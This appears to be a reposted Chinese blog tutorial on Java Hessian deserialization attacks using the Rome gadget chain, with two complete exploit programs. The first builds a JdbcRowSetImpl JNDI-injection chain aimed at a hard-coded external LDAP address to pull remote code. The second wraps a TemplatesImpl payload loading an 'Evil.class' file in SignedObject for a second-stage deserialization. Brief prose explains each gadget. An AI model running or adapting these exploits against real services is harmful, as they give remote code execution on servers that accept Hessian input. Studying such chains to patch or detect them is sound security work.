【Web】浅聊Hessian反序列化之打Rome出网不出网

目录

前言

出网——JdbcRowSetImpl

不出网——SignedObject 打二次反序列化


前文:【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识

前言

正如我们前文所说,当Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法又会牵引出各种相关利用链打法。map.put对于HashMap会触发key.hashCode()。

利用到hashCode的链子有很多,如CC6和Rome相关链,但很遗憾的是CC6因为一些原因无法使用,后面会出一篇文章专门讲其原因。本文主要讲一下Rome出网和不出网的两种利用方式。

出网——JdbcRowSetImpl

只需要找一条入口为hashcode()的反序列化链即可,比如我们常用的ROME链

简单回顾下,Rome 的链核心是 ToStringBean,这个类的 toString 方法会调用他封装类的全部无参 getter 方法,可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。

而Rome链的触发点是EqualsBean#hashCode,这就完美贴合了我们的需求

(参考文章:【Web】浅聊Java反序列化之Rome——关于其他利用链)

EXP

package com.Hessian;import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;public class Hessian_Rome implements Serializable {public static void main(String[] args) throws Exception {JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();String url = "ldap://124.222.136.33:1337/#suibian";jdbcRowSet.setDataSourceName(url);ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);//手动生成HashMap,防止提前调用hashcode()HashMap hashMap = makeMap(equalsBean,"1");byte[] s = serialize(hashMap);deserialize(s);}public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setValue(s, "table", tbl);return s;}public static <T> byte[] serialize(T o) throws IOException {ByteArrayOutputStream bao = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(bao);output.writeObject(o);System.out.println(bao.toString());return bao.toByteArray();}public static <T> T deserialize(byte[] bytes) throws IOException {ByteArrayInputStream bai = new ByteArrayInputStream(bytes);HessianInput input = new HessianInput(bai);Object o = input.readObject();return (T) o;}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
}

不出网——SignedObject 打二次反序列化

因为种种限制,TemplatesImpl不能依靠Hessian反序列化任意加载类(后面的文章会专门写,这里按下不表),面对不出网的情况,一个常见替代的方式是使用 java.security.SignedObject 进行二次反序列化。

SignedObject,顾名思义,推测其主要用途是对某个对象进行数字签名,以确保数据的完整性和真实性。通过将对象使用私钥进行数字签名,接收方可以使用对应的公钥来验证该对象的签名是否有效,从而确保数据在传输或存储过程中没有被篡改。

关于SignedObject,先看其构造方法

public SignedObject(Serializable object, PrivateKey signingKey,Signature signingEngine)throws IOException, InvalidKeyException, SignatureException {// creating a stream pipe-line, from a to bByteArrayOutputStream b = new ByteArrayOutputStream();ObjectOutput a = new ObjectOutputStream(b);// write and flush the object content to byte arraya.writeObject(object);a.flush();a.close();this.content = b.toByteArray();b.close();// now sign the encapsulated objectthis.sign(signingKey, signingEngine);}

总的来说,这段代码实现了将待签名的对象转换为字节数组,并使用指定的私钥和签名引擎对该字节数组进行签名的过程。这样就创建了一个带有数字签名的 SignedObject 对象,可以用于确保对象的完整性和真实性。 

下面的EXP中给了这样一段构造,我们顺带看一下

        KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(map,privateKey,signingEngine);

给到一点简单解读:

  • 首先通过 KeyPairGenerator 类生成用于数字签名的密钥对,这里使用的是 DSA(Digital Signature Algorithm)算法,并将密钥长度设置为 1024 比特。
  • 接着生成密钥对,其中包括一个私钥和一个公钥,用于数字签名和验证。
  • 使用 Signature 类实例化一个用于数字签名的引擎,同样选择了 DSA 算法。
  • 最后,创建了一个 SignedObject 对象,该对象包含了要被签名的 map 对象、私钥和数字签名引擎。通过这一步,map 对象被使用私钥进行数字签名,生成一个带有签名信息的 SignedObject

OK点到为止,我们接下来看打二次反序列化的核心:SignedObject#getObject

public Object getObject()throws IOException, ClassNotFoundException{// creating a stream pipe-line, from b to aByteArrayInputStream b = new ByteArrayInputStream(this.content);ObjectInput a = new ObjectInputStream(b);Object obj = a.readObject();b.close();a.close();return obj;}

注意到getObject为一个无参getter,且该方法会从流里使用原生反序列化读取数据,这就造成了二次反序列化,从一个原生的readObject入口开始打链

注意,二次反序列化是原生反序列化,可以打TemplatesImpl,下面给出示例

EXP

package com.Hessian;import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;public class Hessian_SignedObject {public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21135\\Desktop\\RuoYi-v4.7.1\\Rome\\target\\classes\\com\\rome\\Evil.class"));TemplatesImpl obj = new TemplatesImpl();setValue(obj, "_bytecodes", new byte[][] {code});setValue(obj, "_name", "xxx");setValue(obj, "_tfactory", new TransformerFactoryImpl());ToStringBean bean = new ToStringBean(Templates.class, obj);ToStringBean fakebean= new ToStringBean(String.class, obj);EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);HashMap map = new HashMap();map.put(equalsBean, 1);  // 注意put的时候也会执行hashsetValue(equalsBean, "_obj", bean);//此处写法较为固定,用于初始化SignedObject类KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(map,privateKey,signingEngine);ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class,toStringBean1);HashMap hashMap = makeMap(equalsBean2, "xxx");byte[] payload = Hessian2_Serial(hashMap);Hessian2_Deserial(payload);}public static byte[] Hessian2_Serial(Object o) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(baos);hessian2Output.writeObject(o);hessian2Output.flushBuffer();return baos.toByteArray();}public static Object Hessian2_Deserial(byte[] bytes) throws IOException {ByteArrayInputStream bais = new ByteArrayInputStream(bytes);Hessian2Input hessian2Input = new Hessian2Input(bais);Object o = hessian2Input.readObject();return o;}public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setValue(s, "table", tbl);return s;}public static void setValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/738757.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pytorch的梯度图与autograd.grad和二阶求导

前向与反向 这里我们从 一次计算 开始比如 zf(x,y) 讨论若我们把任意对于tensor的计算都看为函数&#xff08;如将 a*b&#xff08;数值&#xff09; 看为 mul(a,b)&#xff09;&#xff0c;那么都可以将其看为2个过程&#xff1a;forward-前向&#xff0c;backward-反向在pyto…

常有的正则表达式

在项目开始实践中&#xff0c;我们经常遇到一些校验手机号、座机号、小数位、特殊字符之类的正则表达式&#xff0c;这里根据开发经验罗列了一下常见的正则表达式。原文详见《常用正则表达式》 正则表达式 校验数字 验证0-7.1&#xff08;不包含0和7.1&#xff09; 验证0-7…

如何提高API接口的性能和设计安全可靠的API

如何提高API接口的性能 下图显示了提高 API 性能的 5 种常见技巧。 分页 这是在结果集较大时常用的优化方法。结果会以流式方式传回客户端&#xff0c;以提高服务响应速度。 异步日志 同步日志每次调用都要处理磁盘&#xff0c;会降低系统速度。异步日志会先将日志发送到无…

《手把手教你》系列技巧篇(三十)-java+ selenium自动化测试- Actions的相关操作下篇(详解教程)

1.简介 本文主要介绍两个在测试过程中可能会用到的功能&#xff1a;Actions类中的拖拽操作和Actions类中的划取字段操作。例如&#xff1a;需要在一堆log字符中随机划取一段文字&#xff0c;然后右键选择摘取功能。 2.拖拽操作 鼠标拖拽操作&#xff0c;顾名思义就是&#xff…

文本向量评测MTEB和C-MTEB

文章目录 简介MTEBC-MTEB参考资料 简介 MTEB(Massive Text Embedding Benchmark)是目前评测文本向量很重要的一个参考&#xff0c;其榜单也是各大文本向量模型用来展示与其他向量模型强弱的一个竞技台。 C-MTEB则是专门针对中文文本向量的评测基准。 MTEB MTEB的目的是为了…

vuepress-theme-vdoing博客搭建教程

搭建流程 前言 这是笔者搭建个人博客所经历的流程&#xff0c;特附上笔记 笔者个人博客地址&#xff1a;沉梦听雨的编程指南 一、主题介绍 本博客使用的主题为&#xff1a;vuepress-theme-vdoing&#xff0c;相关介绍和使用方法可以参考该主题的官方文档 官方文档快速上手…

什么是PROFIBUS DP网络布线的1米原则?分支线又是什么?

在上期的文章中&#xff0c;我们介绍了 PROFIBUS DP 网络在连接时涉及到的硬件&#xff1a;DP 线缆、PROFIBUS 插头、终端电阻、中继器和有源终端等。 在今天的文章中&#xff0c;就让我们了解一下在 PROFIBUS DP 网络布线时&#xff0c;需要注意的原则有哪些。 一米原则 当 …

图分割 Graph Partition 学习笔记2

文章目录 前言一、Metis原理二、Metis优点三、Metis软件包安装流程参考链接 前言 今天来学一下Metis算法&#xff0c;经过搜索发现这个算法还是蛮多人在讲解的&#xff0c;我也在这里浅浅记录一下~ 一、Metis原理 METIS是一种层次化的分割算法&#xff08;multi-level partitio…

梯度剪裁: torch.nn.utils.clip_grad_norm_()

梯度剪裁: torch.nn.utils.clip_grad_norm_() 一、原理 pytorch中梯度剪裁方法为 torch.nn.utils.clip_grad_norm_(parameters, max_norm, norm_type2)1。三个参数&#xff1a; parameters&#xff1a;希望实施梯度裁剪的可迭代网络参数 max_norm&#xff1a;该组网络参数梯…

第六代Spartan FPGA迎接智能边缘互联新挑战

预计到2028年&#xff0c;物联网设备的数量将增加一倍以上&#xff0c;处理能力需求也将同步增长。设备数量的激增会推动产生对于更高数量I/O的需求、对更通用I/O的需求&#xff0c;以及对于边缘端安全解决方案的需求&#xff1b;处理能力需求的提升则需要更强且更有效率的处理…

勾八头歌之数据科学导论—数据采集实战

一、数据科学导论——数据采集基本概念 第1关&#xff1a;巧妇难为无米之炊 第2关&#xff1a;数据采集概念与内涵 二、数据科学导论——数据采集实战 第1关&#xff1a;单网页爬取 import urllib.request import csv import re# ********** Begin ********** # dataurllib.r…

java项目安全性与权限管理实践与探讨

✨✨谢谢大家捧场&#xff0c;祝屏幕前的小伙伴们每天都有好运相伴左右&#xff0c;一定要天天开心哦&#xff01;✨✨ &#x1f388;&#x1f388;作者主页&#xff1a; 喔的嘛呀&#x1f388;&#x1f388; 目录 引言 一. 身份验证和授权 二. 输入验证和过滤 2.1. 添加OW…

Spring MVC RequestToViewNameTranslator原理解析

在Spring MVC框架中&#xff0c;RequestToViewNameTranslator是一个接口&#xff0c;它用于根据HTTP请求的信息生成对应的视图名称。这一机制在构建动态视图名称的场景中非常有用&#xff0c;尤其是当视图名称需要根据请求参数或请求路径动态生成时。本文将详细解析RequestToVi…

电机应用-步进电机进阶驱动

步进电机梯形加减速 什么是梯形加减速 假设该装置使用步进电机实现物体X的移动&#xff0c;系统要求从A点出发&#xff0c;到B点停止&#xff0c;移动的时间越短越好且系统稳定。 根据步进电机的特性&#xff0c;最大程度加大电机转速&#xff08;提高脉冲频率&#xff09;&a…

10.Java---clone+内部类

一次浅拷贝的过程 打印结果: 一次深拷贝的过程 打印结果: 抽象类和接口的区别 外部类&内部类 1.内部类由static修饰时,不可以是变量 这样就是可以的,他就代表一个常量 2.怎么实例化内部类 当然不可以直接实例化啦! 是这么实例化的,看起来比我们平时麻烦了很多呢! …

SpringCloud OpenFeign 服务接口调用

一、前言 接下来是开展一系列的 SpringCloud 的学习之旅&#xff0c;从传统的模块之间调用&#xff0c;一步步的升级为 SpringCloud 模块之间的调用&#xff0c;此篇文章为第四篇&#xff0c;即介绍 Feign 和 OpenFeign 服务接口调用。 二、概述 2.1 Feign 是什么 Feign 是一…

牛客网KY267 对称平方数1

题目 描述&#xff1a; 打印所有不超过256&#xff0c;其平方具有对称性质的数。如2&#xff0c;11就是这样的数&#xff0c;因为2*24&#xff0c;11*11121。 输入描述&#xff1a; 无任何输入数据 输出描述&#xff1a; 输出具有题目要求的性质的数。如果输出数据不止一组&…

C++程序设计-练手题集合【期末复习|考研复习】

前言 总结整理不易&#xff0c;希望大家点赞收藏。 给大家整理了一下C程序设计中的练手题&#xff0c;以供大家期末复习和考研复习的时候使用。 C程序设计系列文章传送门&#xff1a; 第一章 面向对象基础 第四/五章 函数和类和对象 第六/七/八章 运算符重载/包含与继承/虚函数…

单例模式模板

//单例模板 template <typename T> class Singleton {//使用默认构造和析构函数Singleton() default;~Singleton() default; public://删除默认的移动、拷贝、赋值、取址Singleton(Singleton &&) delete;Singleton(const Singleton &) delete;void op…

hutool导入导出多sheet页的Excel

背景 有个功能需要导入导出多sheet页的Excel&#xff0c;以前用poi搞&#xff0c;想试下用hutool处理一下。接口已弄完&#xff0c;简单总结一下。 导入 controller 正常使用就行&#xff0c;header的参数用来确认租户 ApiOperation(value "导入字段分组excel",…